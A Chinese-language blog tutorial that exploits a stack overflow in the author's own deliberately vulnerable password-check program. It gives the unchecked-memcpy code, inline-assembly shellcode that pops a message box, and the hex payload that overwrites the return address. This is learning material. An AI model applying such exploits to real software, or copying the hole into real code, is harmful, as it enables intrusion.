软件漏洞--Hello-Shellcode

使用上一次的栈溢出的漏洞软件

可以直接通过栈溢出来修改返回值,或者要跳转的函数地址

实现一个ShellCode来跳转自己的代码

源bug软件代码

#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}

这个有一个缺口就是输入这里,我们可以直接把我们想要实现的代码逻辑通过改为硬编码来直接输入进去

将自己要实现的代码逻辑编写成一个裸函数,然后将裸函数编写得到硬编码后输入到这个txt中,然后把那个ret哪里的返回要跳转的地址指向硬编码的地址,这样就实现了一个很简单的注入软件栈溢出漏洞

#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax,0x00401186;
jmp eax;
}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
//char*add = (char*)GetProcAddress(hModule, "MessageBoxA");
//a = (DWORD)add;
cout << "hello" << endl;
shellcode();
return 0;
}

 

 

总结

利用shellcode来实现通过软件漏洞入侵,这里我实现的是通过栈溢出来实现入侵,将要修改的代码逻辑用硬编码填充处理

但是这个我写的shellcode非常简单且辣鸡,原因是我的自己的硬编码首位置是固定位置,应该是随着软件生成而生成的位置才对

通过栈溢出的输入来输入我们的硬编码实现代码逻辑处理,而我们的硬编码可以通过ShellCode生成一个裸函数然后把裸函数的硬编码输入进去,裸函数是利用汇编语言写的各种函数可以查看另外一个博客看裸函数

https://www.cnblogs.com/Sna1lGo/p/14393960.html

//这个是有漏洞的软件
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}
//这个是文本
31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
14 FA 19 00 55 8B EC 83 EC 30 68 6C 47 6F 00 68
53 6E 61 31 8B C4 6A 00 6A 00 50 6A 00 B8 30 19
C3 76 FF D0 83 C4 30 5D B8 CA 13 40 00 FF E0
//这个是写的shellcode
#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax, 0x004013CA;
jmp eax;

}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
cout << "hello" << endl;
shellcode();
return 0;
}